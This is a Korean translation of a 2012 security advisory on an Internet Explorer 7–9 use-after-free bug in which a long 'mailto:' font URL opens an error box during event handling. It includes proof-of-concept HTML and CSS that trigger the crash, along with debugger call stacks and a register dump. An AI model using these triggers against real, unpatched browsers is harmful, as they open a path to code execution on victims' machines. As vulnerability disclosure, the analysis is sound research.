티스토리 뷰

Internet Explorer Script Interjection Code Execution

인터넷 익스프로러 스크립트 인터젝션 코드 실행

 

원문

http://www.securityfocus.com/archive/1/523929


Derek Soeder

ds.adv.pub@gmail.com

 

보고 일자: 2012126, SecuriTeam Secure Disclosure에 보고

http://www.beyondsecurity.com/ssd.html

게시 일자: 2012816(201296일 개정)

 

번역

http://elmosec.tistory.com

 

피해 기업

--------

마이크로소프트사

 

 

영향받은 환경

------------

Windows XPWindows Vista의 인터넷 익스프로러 7.0

Windows XP, Windows VistaWindows 7의 인터넷 익스프로러 8.0

Windows VistaWindows 7의 인터넷 익스프로러 9.0.0부터 9.0.8 (MS12-044)

그 외 버전의 인터넷 익스프로러들은 테스트 되지 않음

 

 

영향 받지 않은 환경

-----------------

MS12-052 핫픽스 적용된 인터넷 익스프로러

 

 

영향

----

이 문서에 설명된 취약점은 낮은 무결성으로 임의의 코드를 실행하는 악성 웹 페이지로 공격할 수 있다. 액티브 스크립팅이 반드시 허용되어야하며 현 공격 방법들은 폰트 다운로딩이 “Enable(사용함)” 또는 “Prompt(확인)”으로 설정돼 있고 “mailto:” 프로토콜이 있어야한다. (이러한 요구 사항들은 Windows XP, Windows VistaWindows 7에서 기본적으로 만족된다.) 사용자는 코드 실행을 위해 그 전에 발생하는 메시지 박스를 종료해야한다.

 

 

취약점 세부 정보

______________

인터넷 익스플로러에서 이벤트들을 핸들링하는 것은 일반적으로 외부(예를 들어, 사용자 입력이나 페인트 요청으로 인함)와 내부 모두로부터 발생하는 윈도우 메시지에 의해 구동된다. 모든 윈도우 메시지가 그렇듯, 각 메시지들은 메시지 루프를 통해 현재 쓰레드의 메시지 큐에서 검색되며 윈도우 프로시저로 처리된다. 이때 윈도우 프로시저는 관련 이벤트를 윈도우 메시지의 종류에 따라 처리될 수 있도록 하는 코드를 실행한다. 이벤트 핸들링 코드가 메시지 박스나 다이얼로그로 만들어져 보일 수 있거나 메시지 루프에 들어간다면 두 번째 이벤트와 관련되어 다른 독립된 윈도우 메시지가 스택 된두 번째 메시지 루프가 돌아가는 동안 처리 될 수 있다. 이는 원래 이벤트가 완전히 처리되기 전에 두 번째 이벤트가 실행됨을 의미한다. 원래의 이벤트는 두 번째 메시지 루프가 끝나야지만이 이어서 처리를 계속할 수 있게 된다 (i.e. 메시지 박스나 다이얼로그가 닫힌 뒤). 만일 두 번째 이벤트 핸들링 코드가 프로그램의 상태를 첫 번째 이벤트 핸들링 코드에 부합하지 않도록 만들 수 있다면 예를 들어, 첫 번째 이벤트 처리 코드에서 지역적으로 사용하는 변수에 연관된 오브젝트들을 파괴할 시 메모리 손상 발생시켜 임의 코드 실행을 가능하게 한다.

 

이벤트 처리 코드 중에 스크립트 실행 시 다양한 결과가 나올 수 있다. 스크립트가 메시지 박스나 다이얼로그를 표시하여 메시지 루프(e.g. window.alert, window.prompt, 또는 기본 보안 설정 밑에 있는 window.clipboardData.getData를 사용)에 단순히 진입할 수는 있겠지만, 첫 번째 이벤트 핸들러가 수용하지 못 할 정도로 두 번째 이벤트 핸들러가 프로그램 상태에 지장을 줄 정도로 뭔가를 하지는 않는다. 스크립트는 반드시 실행되고 있는 중인 다른 스크립트들을 아무 때나 필요에 따라 핸들하고 프로그램 상태에 영향을 주어야하기 때문이다. 스크립트에 접근 가능한 오브젝트들은 정확히 참조 카운트(reference-counted), 가비지 컬렉트(garbage-collected)되어야 하며 예외는 또 다른 취약점이 되어 본 문서에 설명되지는 않은 결함으로 악용될 수 있다.

 

페이지 렌더링 이벤트를 핸들링 하는 동안 때에 따라 MSHTML.DLL을 메시지 루프 안에 들어가게 할 수도 있다(런 스크립트의 이벤트와는 대조적). 하나를 예로 들자면, 페이지가 다운로딩과 렌더링 되는 동안 다양한 보안 설정을 확인하기 위해 쓰는 MSHTML!CMarkup::ProcessURLAction*은 질의된 설정의 동작이 사용으로 되어있을 시 다이알로그를 표시 할 수도 있는 URLMON!ProcessUrlAction*를 호출합니다. 불행히도, 대부분의 보안 설정은 이제 다이얼로그보다는 노란색 보안 밴드 및 알림 표시줄에 처리됩니다.

 

메시지 루프에 접근하기 위한 다른 길로 DispatchMessageW, MessageBoxW, DialogBoxParamW와 같은 함수를 이용해 역추적을 하는 방법이 있다. MessageBoxW로의 호출이 그 중 가장 이목을 끄는데, MSHTML!CMailtoProtocol::DisplayMailClientNotFoundError에서 발견된다. 인터넷 익스프로러가 아주 긴 (2,030) “mailto:” URL을 다운로드 시도 할 경우 CMailtoProtocol::RunMailClient이 실패하며 호출한 MailtoProtocol::DisplayMailClientNotFoundError가 메시지 박스를 표시함으로써 메시지 루프에 들어가는 것으로 알려졌다. (“기본 메일 클라이언트가 올바르게 설치되어 있지 않기 때문에 이 작업을 수행할 수 없습니다.”라는 메시지) 또한, 내장된 폰트를 다운로드(폰트의 “src” 속성을 위해 긴 “mailto:” URL을 명시)할 때 표시되는 메시지 박스는 메시지 박스가 닫힐 때 까지 스택에 속에 목표가 될 만한 오브젝트의 참조가 된다는 것이 알려졌다. 따라서 웹 페이지는 긴 “mailto:” 소스 URL을 이용해 내장된 폰트를 선언하고 목표가 될 만한 오브젝트를 제거하고 대체하는 이벤트가 메시지 박스가 열려있을 때 작동하고 있는지 확실히 함으로써 이 취약점을 공격할 수 있다. 비록 목표가 될 만한 오브젝트들 중 특정 다수는 인터넷 익스프로러 버전에 종속되지만 대부분의 공격은 인터넷 익스프로러 use-after-free 취약점과 같은 일반적인 절차를 따른다.

 

 

이벤트

 

이 취약점의 가장 중요한 복잡성은 인터넷 익스플로러의 이벤트 핸들링을 이해하는 것이다. 위에서 언급 한 바와 같이 이벤트 핸들링은 윈도우 메시지 처리에 기반 한다.

일부 윈도우 메시지는 사용자 입력(예를 들면 키보드와 마우스 메시지)으로 부터 발생하기도 하고, 운영 체제(예를 들면 그리기와 크기조절 메시지)로부터 발생하기도 한다. 하지만 이벤트 신호를 보내는 대부분의 메시지들은 인터넷 익스프로러 내부로부터 생성된다. 이러한 메시지들은 0x8002라는 메시지 식별 값을 가지며 쓰레드 로컬 저장소(Thread Local Storage; TLS) 속 비어 있는 큐에 함수 호출(method call)”이 추가될 때 발생된다. 함수 호출이란 그저 함수 포인터와 이벤트 핸들링 메시지 루프(또는 그 외 다른 어떠한 메시지 루프)로 부터 호출되는 콜백(callback)에 관련한 데이터이다. 함수 호출은 MSHTML!_GWPostMethodCallEx을 사용하여 큐가 되고 MSHTML!GlobalWndOnMethodCall을 통해 다뤄진다. 이를 MSHTML!GlobalWndProc가 윈도우 절차가 0x8002 메시지에 대한 답으로 호출한다.

 

메시지 0x8002이 함수 호출 큐가 비어 있을 때, 그리고 대기 상태가 아닐 때(실행중이거나 실행되길 기다리는 중)만 게시됨을 아는 것이 중요하다. 따라서 아주 작은 예외 하나 만으로도 두 번째 0x8002 메시지는 첫 번째 0x8002 메시지가 실행되는 동안 기다려 주지 못한다. 이는 두 번째 함수 호출 기반의 이벤트가 첫 번째 함수 호출 기반의 이벤트가 처리될 동안에는 처리되지 못함을 의미한다. 첫 번째가 메시지 루프에 들어서도 말이다. 취약점을 공격할 때 에, 한 이벤트는 함수 호출을 기반 할 수 있겠지만, 그 외는 꼭 사용자의 입력이나 다른 메시지 종류에 부합해야한다.

 

사용자와의 상호 작용 없이도 사용자의 입력 값을 얻어내는 웹 페이지를 디자인하는 것은 어렵지 않지만, 인터넷 익스프로러 9는 비동기 이벤트를 도입하여 또 다른 가능성을 제공한다. IE9 표준 모드에서 웹 페이지를 볼 경우, 특정 이벤트들은(예를 들어 body.onfocus) 그 대신 식별 값 0x8003을 가진 메시지에 의해 중재된다. 이는 MSHTML!CEventMgr::QueueAsyncEvent -> MSHTML!CAsyncEventQueue::QueueEvent 에 의해 생성되며 GlobalWndProcMSHTML!CAsyncEventQueue::DispatchAllEvents을 호출할 때 실행된다. 비동기 이벤트 핸들링 코드가 메시지 루프를 들어가면, 0x8002메시지가 파견되어 큐에 들어가 있는 함수 호출들을 실행되도록 한다.

 

 

예시 (인터넷 익스프로러 78)

 

인터넷 익스프로러 78에서 이 취약점을 재현 하는 간단한 예시는 아래와 같다. 웹 페이지에 빈 style sheet 링크가 있으며, body에는 “onmouseover” 이벤트 핸들러, 그리고 새로운 스크립트 요소를 만들어 "onreadystatechange" 이벤트 핸들러로 할당해주는 script element가 있다. body에는 큰 높이 값을 지정하는 스타일이 있어 body 영역이 브라우저 윈도우의 전체 높이와 폭을 가질 수 있다. 해당 HTML의 예시:

 

<html>

<head>

<script>

var s = document.createElement("script");

s.src = "slow.js";

s.onreadystatechange = function()

{

if (this.readyState == "loaded")

{

document.styleSheets[0].cssText = null;

}

};

var o = document.getElementsByTagName("script")[0];

o.parentNode.insertBefore(s, o);

</script>

<link rel="stylesheet" href=""></link>

</head>

<body style="height: 9999px;"

onmouseover="document.styleSheets[0].href = 'MyFont.css';">

</body>

</html>

 

“MyFont.css”보다 완료하기 위해 오랜 시간이 걸리는 한 “slow.js” 요청에 대한 응답 값으로 무엇이든 반환될 수 있다-또는 그 무엇도 반환되지 않을 수 있다-. 새로운 script element"onreadystatechange" 이벤트 핸들러가 style sheet가 모두 로딩된 후에 실행되도록 하는 것이 목표이다. "MyFont.css" 는 다음과 같은 CSS로 구성된다:

 

@font-face

{

font-family: "MyFont";

src: url(mailto:xxx<... approximately 2,020 characters removed ...>xxx);

}

 

웹 페이지가 로딩 되면, 윈도우 위 마우스 커서의 존재가 MSHTML!CServer::WndProc이 마우스 윈도우 메시지를 수신 받도록 하며, 이는 MSHTML!CDoc::OnWindowMessage -> MSHTML!CDoc::OnMouseMessage로 전달된다. 호출 스택의 저 위에서 body의 스크립트 속 “onmouseover” 이벤트 핸들러가 실행되어, style sheet 링크의 “href” 요소가 “MyFont.css”를 로딩 한다. “MyFont”에 내장된 폰트가 정의된 CSS가 파싱(parse)되면 긴 “mailto:” URL이 결과적으로 CMailtoProtocol::DisplayMailClientNotFoundError 에러 메시지 박스를 보인다. 실행을 잠깐 멈추고 쓰레드 예외처리를 하여 윈도우 메시지를 처리하는 것이다. 이러한 이유로 "onmouseover" 이벤트 핸들러를 사용할 경우 함수 호출 윈도우 메시지 (0x8002)를 처리하는 도중이 아닌 사용자 입력 윈도우 메시지를 처리하는 도중에 메시지 박스가 나타날 것을 보장하며 두 번째 이벤트 함수 호출할 여지를 남겨둔다.

 

메시지 박스가 보이는 중에 우리의 공격 서버가 의도적으로 지연한 “slow.js”의 요구에 대한 응답을 완료하여 클라이언트가 함수 호출을 큐에 넣고 새로운 script element"onreadystatechange" 이벤트 핸들러를 실행하도록 한다. 왜냐하면 함수 호출은 (메시지 0x8002) 현재 처리되고 있지 않기 때문이다--처리되고 있는 이벤트는 마우스 윈도우 메시지로부터 온 것--. 이는 “slow.js”를 다운로드할 의무를 가진 쓰레드가 함수 호출을 큐에 넣은 뒤에 0x8002 메시지를 게시할 만큼 한가함을 의미한다. 그런 후에 윈도우 메시지가 에러 메시지 박스를 도출하는 메시지 루프로부터 나와 "onreadystatechange" 이벤트 핸들러를 실행하도록 한다. 다음 예시에서는 메시지 박스가 보이는 중에 이벤트 핸들러가 아직 해석(interpretation)되고 있는 style sheet를 대표하는 오브젝트를 조작하는 것을 보인다. 조작은 메시지 박스가 닫히고 style sheet 해석이 계속 된 뒤 오류(crash)를 초래한다.

 

예시 (인터넷 익스프로러 9)

 

인터넷 익스프로러9에 특화된 간단한 예시이다. 웹 페이지의 body에는 "onfocus" 이벤트 핸들러, 내장된 폰트를 정의하는 style sheet와 이를 사용하는 class, 정의된 class“div” element와 새로운 스크립트 요소를 만들어 "onreadystatechange" 이벤트 핸들러로 할당해주는 script element가 있다. 글은 "DOCTYPE"의 선언으로 시작되어 페이지가 IE9 표준 모드로 렌더링 되도록 보장한다. 해당 HTML의 예시:

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html>

<head>

<style>

@font-face

{

font-family: "MyFont";

src: url(mailto:xxx<... approximately 2,020 characters

removed ...>xxx);

}

 

.MyFontClass

{

font-family: "MyFont";

}

</style>

<script>

var s = document.createElement("script");

s.src = "slow.js";

s.onreadystatechange = function()

{

if (this.readyState == "loaded")

{

var d = document.getElementById("MyDiv");

d.parentNode.removeChild(d);

}

};

document.appendChild(s);

</script>

</head>

<body onfocus="document.getElementById('MyDiv').className = 'MyFontClass';">

<div id="MyDiv"></div>

</body>

</html>

 

IE9 표준 모드에서 내장된 폰트는 페이지가 렌더링; 내장된 폰트의 긴 “mailto:” URL이 해석되고 그리하여 에러 메시지 박스가 표시되는 body"onfocus" 이벤트가 시작되기 전, 까지 다운로드 되지 않는다. body.onfocusIE9 표준 모드에서 비동기 이벤트(메시지 0x8003)로써 핸들링 되기 때문에 함수 호출 (메시지 0x8002)은 아직 메시지 박스 메시지 루프가 호출 스택에 있을 때 한가하게 남아있다. 다음 예시에서 우리는 “slow.js”body.onfocus가 시작되고 에러 메시지 박스가 보인 후 다운로드 끝나길 기대한다. IE의 다운로드를 관리하는 코드가 스크립트를 위해 메시지 박스 루프로부터 나온 "onreadystatechange" 함수 호출을 큐에 넣어 우리의 자바스크립트를 실행시킬 것이다. IE9가 필요에 의해 내장된 폰트에 접근하기 때문에 메시지 박스 메시지 루프 아래 스택에 다양한 오브젝트들을 참조하는 것들이 있을 것이다. 따라서 만약 우리가 자바스크립트로 이 오브젝트들을 조작한다면, 결과적으로 메시지 박스가 닫힌 후 오류가 발생할 것이다.

 

시범

 

취약점에 대한 시각적인 이해를 돕기 위해, 인터넷 익스프로러 9 예시 오류의 시간순의 시범을 작성한다. 다음을 따라 하는 것을 추천한다. 기호들은 윈도우즈 7 SP1 x86, 6D1C0000에 로딩된 MSHTML.DLL 버전 9.0.8112.16437의 인터넷 익스프로러 9.0.3에 대응하며, page heap이 허용됐다.

예시 페이지가 로딩될 때 0x54-byte CTreePos class 인스턴스가 힙에 할당된다: (CTreePos 인스턴스는 반환되어 해당 메모리가 재사용 될 것이다)

 

77365ae0 ntdll!RtlAllocateHeap+0x0000023a

6d423fe1 MSHTML!CHtmRootParseCtx::BeginElement+0x00000035

6d51b14b MSHTML!CHtmTextParseCtx::BeginElement+0x000000a1

6d4245a0 MSHTML!CHtmParse::BeginElement+0x00000151

6d4269aa MSHTML!CHtmParse::ParseBeginTag+0x00000199

6d422422 MSHTML!CHtmParse::ParseToken+0x00000100

6d42292a MSHTML!CHtmPost::Exec+0x00000233

6d427a10 MSHTML!CHtmPost::Run+0x00000041

6d42793c MSHTML!PostManExecute+0x000001a3

6d4278a1 MSHTML!PostManResume+0x000000dd

6d427801 MSHTML!CHtmPost::OnDwnChanCallback+0x00000010

6d40b4d5 MSHTML!CDwnChan::OnMethodCall+0x0000001f

6d5a9d09 MSHTML!GlobalWndOnMethodCall+0x00000115

6d5c9368 MSHTML!GlobalWndProc+0x00000302

7748c4e7 USER32!InternalCallWinProc+0x00000023

7748c5e7 USER32!UserCallWinProcCheckWow+0x0000014b

7748cc19 USER32!DispatchMessageWorker+0x0000035e

7748cc70 USER32!DispatchMessageW+0x0000000f

6e8e1b44 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000722

6e901a16 IEFRAME!LCIETab_ThreadProc+0x00000317

759315b0 iertutil!CIsoScope::RegisterThread+0x000000ab

6e8efd5b IEFRAME!Detour_DefWindowProcA+0x0000006c

75c4ed6c kernel32!BaseThreadInitThunk+0x0000000e

773737f5 ntdll!__RtlUserThreadStart+0x00000070

773737c8 ntdll!_RtlUserThreadStart+0x0000001b

 

그 다음, 페이지의 자바스크립트가 동작하여 "slow.js"의 소스를 가진 새로운 스크립트 element를 만든다. 웹 서버가 의도적으로 이 파일을 서비스하기를 1~2초정도 미룬다는 개념이다. 이런 동작들은 "onreadystatechange" 이벤트가 지연 후에 시작하도록 한다.

 

페이지 로딩이 끝나면 (하지만 지연이 되기 전) "body.onfocus" 이벤트가 시작된다. 문서가 IE9 표준 모드로 되어있기 때문에 "body.onfocus"이 비동기 이벤트로 큐에 넣어지고 이는 윈도우 메시지 0x8003에 의해 중재될 것을 의미한다. "body.onfocus" 이벤트 핸들러가 “div” element의 클래스를 내장된 폰트를 사용하는 크래스로 변경한다. 이에 인터넷 익스프로러는 강제로 내장된 폰트를 다운로드 시도하게 되고 긴 “mailto:” URL로 인해 실패하고 말 것이다. 결정적으로 실패는 “mailto”를 유발하고- 특정 메시지 박스가 표시된다; "body.onfocus" 이벤트와 연관되어 0x8003 윈도우 메시지를 핸들링하기 위해 원래 있던 하위의 메시지 루프를 돌던 중에 새로운, 최상위의 메시지 루프에 들어서게 된다. 위에서부터 아래로, 호출 스택은 이제 이런 모습이다:

 

774a382a USER32!NtUserWaitMessage+0xc

774a3b27 USER32!DialogBox2+0x207

774ce0d5 USER32!InternalDialogBox+0xcb

774ce659 USER32!SoftModalMessageBox+0x68a

774ce78c USER32!MessageBoxWorker+0x2ca

774cea08 USER32!MessageBoxTimeoutW+0x7f

6ea15e86 USER32!MessageBoxExW+0x1b

774ceaa4 IEFRAME!Detour_MessageBoxExW+0x47

6db3ac94 USER32!MessageBoxW+0x45

6db3aaf1 MSHTML!CMailtoProtocol::DisplayMailClientNotFoundError+0x10b

6db3a2cc MSHTML!CMailtoProtocol::RunMailClient+0x12e

6db39def MSHTML!CMailtoProtocol::ParseAndBind+0x8b

76ab1c0b MSHTML!CMailtoProtocol::Start+0xcd

76a98fb3 URLMON!COInetProt::StartEx+0xf0

76a9a31f URLMON!CTransaction::StartEx+0x40b

76a8386c URLMON!CBinding::StartBinding+0x883

6d438507 URLMON!operator new+0x20

6d4383ed MSHTML!CTridentFilterHost::BindToMoniker+0xe4

6d4216f3 MSHTML!CDwnBindData::Bind+0x722

6d42153b MSHTML!NewDwnBindData+0x189

6d20c107 MSHTML!CDwnLoad::Init+0x25c

6d5c1f27 MSHTML!CBitsLoad::Init+0x52

6d421279 MSHTML!CDwnInfo::SetLoad+0x11e

6d451257 MSHTML!CDwnInfo::AddDwnCtx+0x67

6d42c695 MSHTML!CDoc::NewDwnCtx2+0x30a

6d953c33 MSHTML!CDoc::NewDwnCtx+0x5b

6d956222 MSHTML!CEmbeddedFontFace::EnsureStartDownload+0x120

6d955aee MSHTML!CFontFace::CFontFaceSrc::EnsureStartDownload+0x8a

6d682c20 MSHTML!CFontFace::AddToFamily+0x18c

6d52ceb2 MSHTML!CStyleSheetArray::BuildFontFaceRuleFamily+0x58

6d52cd28 MSHTML!ApplyClear+0x113

6d51bc41 MSHTML!ApplyFontFace+0x1d4

6d40e103 MSHTML!ApplyFormatInfoProperty+0x33bf

6d40e424 MSHTML!ApplyAttrArrayValues+0x2bd

6d5b5344 MSHTML!CStyleSheetArray::Apply+0x34a

6d47bad8 MSHTML!CMarkup::ApplyStyleSheets+0x6a

6d47b89e MSHTML!CElement::ApplyStyleSheets+0x4a2

6d4cddff MSHTML!CElement::ApplyDefaultFormat+0x8b

6d47b5a0 MSHTML!CBlockElement::ApplyDefaultFormat+0x379

6d47a5a3 MSHTML!CElement::ComputeFormatsVirtual+0x1a1e

6d47a4d6 MSHTML!CElement::ComputeFormats+0xe1

6d47bd39 MSHTML!CTreeNode::ComputeFormats+0xba

6d482d33 MSHTML!CTreeNode::ComputeFormatsHelper+0x40

6d360862 MSHTML!CTreeNode::GetFancyFormat+0x32

6d2d910f MSHTML!CElement::UpdateFormats+0x426

6d4ce10f MSHTML!CControlledFormatter::Init+0xcc

6d47fa14 MSHTML!CElement::OnPropertyChangeInternal+0x3fa

6d49b76b MSHTML!CElement::OnPropertyChange+0x1b

6d2da8db MSHTML!BASICPROPPARAMS::SetStringProperty+0x36a

6d0084d6 MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_className+0x61

6d0cc04d JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4

6d0cc968 JSCRIPT9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117

6d009a85 JSCRIPT9!Js::JavascriptOperators::SetProperty+0x8c

6d009a2c JSCRIPT9!Js::JavascriptOperators::OP_SetProperty+0x59

039507b8 JSCRIPT9!Js::JavascriptOperators::PatchPutValueNoLocalFastPath+0xbc

6d0084d6 0x39507b8

6d0083fb JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4

6d008332 JSCRIPT9!Js::JavascriptFunction::CallRootFunction+0xb6

6d0082be JSCRIPT9!ScriptSite::CallRootFunction+0x4f

6d0cf12c JSCRIPT9!ScriptSite::Execute+0x63

6d4f24d1 JSCRIPT9!ScriptEngine::Execute+0x11a

6d4f23fb MSHTML!CListenerDispatch::InvokeVar+0x12a

6d54ce40 MSHTML!CListenerDispatch::Invoke+0x40

6d44e624 MSHTML!CEventMgr::_InvokeListeners+0x187

6d54cf37 MSHTML!CEventMgr::_InvokeListenersOnWindow+0xcc

6d5db67d MSHTML!CEventMgr::Dispatch+0x3cc

6d53ba32 MSHTML!CEventMgr::DispatchFocusEvent+0x7d

6d5e6f74 MSHTML!COmWindowProxy::Fire_onfocus+0x84

6d5e6ff1 MSHTML!CAsyncEventQueue::DispatchAllEvents+0x7c

7748c4e7 MSHTML!GlobalWndProc+0x2ed

7748c5e7 USER32!InternalCallWinProc+0x23

7748cc19 USER32!UserCallWinProcCheckWow+0x14b

7748cc70 USER32!DispatchMessageWorker+0x35e

6e8e1b44 USER32!DispatchMessageW+0xf

6e901a16 IEFRAME!CTabWindow::_TabWindowThreadProc+0x722

759315b0 IEFRAME!LCIETab_ThreadProc+0x317

6e8efd5b IERTUTIL!CIsoScope::RegisterThread+0xab

75c4ed6c IEFRAME!Detour_DefWindowProcA+0x6c

773737f5 KERNEL32!BaseThreadInitThunk+0xe

773737c8 NTDLL!__RtlUserThreadStart+0x70

00000000 NTDLL!_RtlUserThreadStart+0x1b

 

메시지 박스가 열려 있는 동안이라면 메시지 루프는 새로운 윈도우 메시지에 영향 있는 이벤트를 생성하고 제어는 인터넷 익스프로러의 원래 메시지 루프로 돌아가지 않는다. 어떤 메시지 루프가 메시지를 생성하는가는 상관이 없다. 왜냐하면 같은 윈도우 프로시저가 두 가지 경우 모두에서 실행되기 때문이다. 문제가 있다면 호출 스택의 아래쪽에 위치한 코드는 제어가 MessageBox 호출에 들어가기 전에 다양한 힙의 오브젝트들(예를 들면 일찍이 할당됐던 CTreePos)을 실행 중이였으며 그곳에 갇혀버린다는 것이다. 이제 자바스크립트로 힙 오브젝트를 조작하거나 파괴할 경우 발생하는 메시지 관련 이벤트들로 인해 결과적으로 use-after-free와 같은 오류를 명시할 수 있다.

 

취약점 세부 사항 섹션에 쓰여 있다시피, 모든 경우에서 모든 종류의 이벤트가 스택될 수 있는 건 아니지만, 특정 이벤트들은 그럴 수 있다. ("body.onfocus"를 위한) 0x8003 윈도우 메시지가 하위 메시지 루프 중에 실행되기 때문에 만약 0x8002 윈도우 메시지가 게시 될 경우 상위 메시지 루프에서 실행이 될 것이다 그리고 이것이 바로 예시가 계획한 바이다. “slow.js” 처리 중에 있는 지연이 발생하면, (“함수 호출로 참조되는) 0x8002 윈도우 메시지 관련 이벤트가 결론적으로 다운로드 되는 것에 해당하여 생성되고 이후 최상위 메시지 루프가 돌 때에 처리한다. 이 함수 호출은 만들어진 script element"onreadystatechange" 이벤트 핸들러를 실행하며 인터넷 익스프로러가 폰트를 다운로드 시도하고 메시지 박스에 갇히면서 렌더링하던 때 있었던 “div” element를 파괴한다. 아래 보이는 호출 스택의 일부는 "onreadystatechange" 이벤트 핸들러가 "removeChild"를 호출하는 부분이다:

 

6d2eb4e3 MSHTML!CElement::ie9_removeChild

6d0084d6 MSHTML!CFastDOM::CNode::Trampoline_removeChild+0x7b

6d0cc04d JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4

039501af JSCRIPT9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117

6d0084d6 0x39501af

6d0083fb JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4

6d008332 JSCRIPT9!Js::JavascriptFunction::CallRootFunction+0xb6

6d0082be JSCRIPT9!ScriptSite::CallRootFunction+0x4f

6d0cf12c JSCRIPT9!ScriptSite::Execute+0x63

6d4f24d1 JSCRIPT9!ScriptEngine::Execute+0x11a

6d4f23fb MSHTML!CListenerDispatch::InvokeVar+0x12a

6d35a726 MSHTML!CListenerDispatch::Invoke+0x40

6d5db834 MSHTML!CEventMgr::Dispatch+0x537

6d4a5607 MSHTML!CEventMgr::DispatchEvent+0xc9

6d4a02ff MSHTML!CElement::Fire_onreadystatechange+0x99

6d5a9d09 MSHTML!CScriptElement::FireOnReadyStateChange+0x3e

6d5c9368 MSHTML!GlobalWndOnMethodCall+0x115

7748c4e7 MSHTML!GlobalWndProc+0x302

7748c5e7 USER32!InternalCallWinProc+0x23

7748cc19 USER32!UserCallWinProcCheckWow+0x14b

7748cc70 USER32!DispatchMessageWorker+0x35e

774a38d7 USER32!DispatchMessageW+0xf

774a3b27 USER32!DialogBox2+0x15a

774ce0d5 USER32!InternalDialogBox+0xcb

774ce659 USER32!SoftModalMessageBox+0x68a

774ce78c USER32!MessageBoxWorker+0x2ca

774cea08 USER32!MessageBoxTimeoutW+0x7f

6ea15e86 USER32!MessageBoxExW+0x1b

774ceaa4 IEFRAME!Detour_MessageBoxExW+0x47

6db3ac94 USER32!MessageBoxW+0x45

6db3aaf1 MSHTML!CMailtoProtocol::DisplayMailClientNotFoundError+0x10b

6db3a2cc MSHTML!CMailtoProtocol::RunMailClient+0x12e

6db39def MSHTML!CMailtoProtocol::ParseAndBind+0x8b

76ab1c0b MSHTML!CMailtoProtocol::Start+0xcd

...

해제는 실제로 이후 등장하는 함수 호출시 발생한다. 그 역시 MessageBox 메시지 루프 중에 실행하고 있으며 다음과 같은 호출 스택의 일부를 가진다:

 

75c4c3d4 kernel32!HeapFree+0x00000014

6d5eebed MSHTML!CTreePos::Release+0x00000046

6d5fdc69 MSHTML!CLayoutBlock::~CLayoutBlock+0x000000ba

6d5ff5da MSHTML!CFlexBoxBlock::`scalar deleting destructor'+0x00000013

6d559ee9 MSHTML!TSmartPointer<CPtsPelParaclient>::~TSmartPointer<CPtsPelParaclient>+0x00000014

6d5da773 MSHTML!HtmlLayout::SmartDispClient::Release+0x00000023

6d5da5fb MSHTML!HtmlLayout::FlowBox::ImplicitDestructor+0x0000001d

6d490144 MSHTML!HtmlLayout::CIE9DocumentLayout::FormatPage+0x00000065

6d48c517 MSHTML!CCssDocumentLayout::FindOrFormatPage+0x00000272

6d4872fb MSHTML!CCssDocumentLayout::GetPage+0x00000964

6d48e06f MSHTML!CMarkupPageLayout::CalcSize+0x0000028c

6d48de82 MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0x00000101

6d48fba1 MSHTML!CMarkupPageLayout::DoLayout+0x00000056

6d47e65a MSHTML!CView::ExecuteLayoutTasks+0x00000034

6d476a85 MSHTML!CView::EnsureView+0x000003bf

6d498701 MSHTML!CView::EnsureViewCallback+0x000000b8

6d5a9d09 MSHTML!GlobalWndOnMethodCall+0x00000115

6d5c9368 MSHTML!GlobalWndProc+0x00000302

7748c4e7 USER32!InternalCallWinProc+0x00000023

7748c5e7 USER32!UserCallWinProcCheckWow+0x0000014b

7748cc19 USER32!DispatchMessageWorker+0x0000035e

7748cc70 USER32!DispatchMessageW+0x0000000f

774a38d7 USER32!DialogBox2+0x0000015a

774a3b27 USER32!InternalDialogBox+0x000000cb

774ce0d5 USER32!SoftModalMessageBox+0x0000068a

774ce659 USER32!MessageBoxWorker+0x000002ca

774ce78c USER32!MessageBoxTimeoutW+0x0000007f

...

 

이 시점에서, 완전히 개발된 공격의 경우 자바스크립트를 사용하여 본래 CtreePos가 사용하다가 현재 상태에서는 해제된 메모리를 재할당하고 덮어쓸 수 있다. 시범을 위해서라면 페이지 힙이 CTreePos가 해제된 메모리를 0xF0으로 지우게 두는 것으로 충분하다.

 

마지막으로 사용자가 메시지 박스를 닫으면 폰트 다운로딩 방해와 페이지 렌더링 코드가 계속되지만 코드는 프로그램 상태가 MessageBox 호출 중에 바뀌었다는 것을 예측하는 것에 실패한다. 없어진 CTreePos를 가리키던 포인터는 스택에서 비 참조되고(dereferenced), 결과적으로 액세스 위반이 된다. 다음은 레지스터 덤브, 디스어셈블리와 호출 스택이다. 없어진 CTreePos 대신 EBX가 스택 메모리를 가리키고 있음에 주의하라:

 

Access violation - code c0000005 (first chance)

eax=005ba430 ebx=03b5c5c8 ecx=f0f0f0f0 edx=03b5c540 esi=00000000 edi=00557840

eip=6d47b5d7 esp=03b5c450 ebp=03b5c510 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

MSHTML!CElement::ComputeFormatsVirtual+0x1a64:

6d47b5d7 0fbf4120 movsx eax,word ptr [ecx+20h]

ds:0023:f0f0f110=????

 

6d47b5c5 8b03 mov eax,dword ptr [ebx]

6d47b5c7 8b8bd4000000 mov ecx,dword ptr [ebx+0D4h]

6d47b5cd 89442420 mov dword ptr [esp+20h],eax

6d47b5d1 894c242c mov dword ptr [esp+2Ch],ecx

6d47b5d5 8b08 mov ecx,dword ptr [eax]

6d47b5d7 0fbf4120 movsx eax,word ptr [ecx+20h]

 

6d47a5a3 MSHTML!CElement::ComputeFormatsVirtual+0x1a64

6d47a4d6 MSHTML!CElement::ComputeFormats+0xe1

6d47bd39 MSHTML!CTreeNode::ComputeFormats+0xba

6d482d33 MSHTML!CTreeNode::ComputeFormatsHelper+0x40

6d360862 MSHTML!CTreeNode::GetFancyFormat+0x32

6d2d910f MSHTML!CElement::UpdateFormats+0x426

6d4ce10f MSHTML!CControlledFormatter::Init+0xcc

